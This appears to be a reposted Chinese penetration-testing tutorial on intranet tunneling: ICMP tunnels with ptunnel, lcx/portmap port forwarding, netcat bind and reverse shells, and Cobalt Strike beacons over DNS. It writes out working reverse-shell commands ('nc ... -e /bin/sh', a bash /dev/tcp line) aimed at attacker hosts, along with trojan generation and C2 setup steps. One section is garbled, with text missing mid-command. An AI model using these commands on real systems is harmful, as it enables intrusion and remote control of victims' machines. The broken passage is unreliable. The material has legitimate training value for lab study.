内网安全之隧道技术 您所在的位置:网站首页 叙述网络穿透技术 内网安全之隧道技术

内网安全之隧道技术

2024-02-10 00:14| 来源: 网络整理| 查看: 265

未来的黑客大佬!我们终于找到你了~

想要获取更多免费学习资料可搜索公众号:“掌控安全课堂” 后台回复”我想学黑客“即可

知识点 隧道

在实际的网络中,通常会通过各种边界设备、软/硬件防火墙甚至入侵检测系统来检查对外连接情况,如果发现异样,就会对通信进行阻断。那么什么是隧道呢?这里的隧道,就是一种绕过端口屏蔽的通信方式。防火墙两端的数据包通过防火墙所允许的数据包类型或端口进行封装,然后穿过防火墙,与对方进行通信。当封装的数据包到达目的地时,将数据包还原,并将还原后的数据包发送到相应服务器上。

代理和隧道技术的区别

代理主要解决网络访问通讯问题(从一个内网到另一个内网)。

隧道技术解决在代理基础之上通讯受阻的问题(被防火墙等检测拦截),达到绕过过滤限制等。

隧道技术解决什么

用单独的通道来传输被拦截的数据。

CS、MSF无法上线,数据传输不稳定无回显,出口数据被监控,网络通信存在问题等。

常见的隧道技术

网络层:IPv6隧道、ICMP隧道

传输层:TCP隧道、UDP隧道、常规端口转发

应用层:SSH隧道、HTTP/S隧道、DNS隧道

网络传输应用层检测连通性 1.TCP协议

用“瑞士jundao”netcat,执行nc命令:

nc 2.HTTP协议

用curl工具,执行:

curl

如果远程主机开启了相应的端口,且内网可连接外网的话,就会输出相应的端口信息

3.ICMP协议

用ping命令,执行:

ping 4.DNS协议

检测DNS连通性常用的命令是nslookup和dig

nslookup是windows自带的DNS探测命令

dig是linux系统自带的DNS探测命令

网络ICMP隧道Ptunnel使用

ptunnel把tcp/udp/sock5流量伪装成icmp流量进行转发

-p ##表示链接icmp隧道另一端的机器IP(目标服务器) -lp     表示需要监听的本地tcp端口 -da ##指定需要转发的机器的IP(即目标内网某一机器的内网IP) -dp ##指定需要转发的机器的端口(即目标内网某一机器的内网端口) -x ##设置连接的密码 ptunnel安装

https://www.cnblogs.com/autopwn/p/14642658.html

Centos7下的安装步骤 #安装libpcap的依赖环境 yum -y install byacc yum -y install flex bison #安装libpcap依赖库 wget http://www.tcpdump.org/release/libpcap-1.9.0.tar.gz tar -xzvf libpcap-1.9.0.tar.gz cd libpcap-1.9.0 ./configure make && make install #安装PingTunnel wget http://www.cs.uit.no/~daniels/PingTunnel/PingTunnel-0.72.tar.gz tar -xzvf PingTunnel-0.72.tar.gz cd PingTunnel make && make install 安装完成之后直接可以执行命令 实验

环境介绍

攻击机kali:192.168.184.128

中介机webserver:192.168.184.142(可出网) 192.168.22.128(内网)

目标机DC(windows):192.168.22.130(内网)

打靶

中介机开启隧道,密码为123

ptunnel -x 123

攻击机连接隧道

ptunnel -p 192.168.184.142 -lp 2333 -da 192.168.22.130 -dp 3389 -x 123

当192.168.184.142(p)收到来自192.168.22.130(da)的3389端口(dp)的数据时,发送到攻击机的1080端口(lp)。反之亦然(在二者之间建立隧道)

攻击机(kali)使用rdesktop进行远程连接

rdesktop 127.0.0.1 2333

输入用户名密码登录成功

传输层转发隧道lcx、Portmap使用

Windows:lcx

Linux:portmap

windows演示

在被攻击机上:

lcx -slave 跳板机IP 6666 127.0.0.1 3389

将(被攻击机)本地的3389转发到跳板机的6666端口

在跳板机上(这里需要在跳板机监听才能接收到数据):

lcx -listen 本机端口 映射端口 lcx -listen 6666 7777

监听6666映射到7777

在攻击机上(进行远程连接):

rdesktop 跳板机IP:7777 传输层转发隧道Netcat使用 1.双向连接反弹shell

正向:攻击连接受害

受害:

nc -ldp 1234 -e /bin/sh //linux nc -ldp 1234 -e c:\windows\system32\cmd.exe //windows

将命令行界面(shell/cmd)推到1234端

攻击:

nc 受害机IP 1234 //主动连接

反向:受害连接攻击

攻击:

监听自己的1234端口

nc -lvp 1234

受害:

nc 攻击机IP 1234 -e /bin/sh nc 攻击机IP 1234 -e c:\windows\system32\cmd.exe

2.多向连接反弹shell-配合转发-反向-portmap

Target2服务器将自己的cmd反弹到Target1的666端口,Target1使用portmap将本地666端口映射到本地777端口,最后由kali(攻击机)连接Target1的777端口

Target2_Ubuntu

bash -i >& /dev/tcp/192.168.22.128/6666 1.txt|nc -vn xx.xx.x.x 1111 主机记录->记录值

A记录->cs主机名->CS服务器IP

NS记录->ns1主机名->A记录地址

NS记录->ns2主机名->A记录地址

这里遇到了坑,创建不了监听器 一直说地址被占用,搞了好久,发现是我云服务器的53端口被占用了,关掉就好了 很奇怪的是,我和赵师傅都有这个进程,他就能创,我却不能,就很玄学。问了黄师傅说是有些服务有关联性,有的服务运行有优先级啥的,也说不准,只能说盲猜QAQ。

生成木马

Windows Executable      生成32位或64位的exe和基于服务的exe、DLL等后门程序

Windows Executable(S)    用于生成一个exe可执行文件,其中包含Beacon的完整payload,不需要阶段性的请求。与Windows Executable模块相比,该模块额外提供了代理设置,以便在较为苛刻的环境中进行渗透测试。该模块还支持powershell脚本,可用于将Stageless Payload注入内存

利用

当受害者主机运行我们的木马后,便会有一个unknown主机上线 interact进去后,输入如下命令进行配置

beacon> checkin [*] Tasked beacon to checkin beacon> mode dns-txt [+] data channel set to DNS-TXT [+] host called home, sent: 8 bytes

出现如下图的样子,就说明受害主机真正成功上线

接下来就可以执行命令了

这里还遇到另外一个坑,就是当时弄的时候用的学校网络,导致输入命令没有回显,换了手机热点就行了,真的吐了。

参考

关闭linux系统的53端口

Linux systemd-resolve占用53端口的解决方法 

资源

portmap+lcx.exe下载

本文作者:1ceC0la, 转载请注明来自内网安全之隧道技术 - FreeBuf网络安全行业门户



【本文地址】

公司简介

联系我们

今日新闻

    推荐新闻

    专题文章
      CopyRight 2018-2019 实验室设备网 版权所有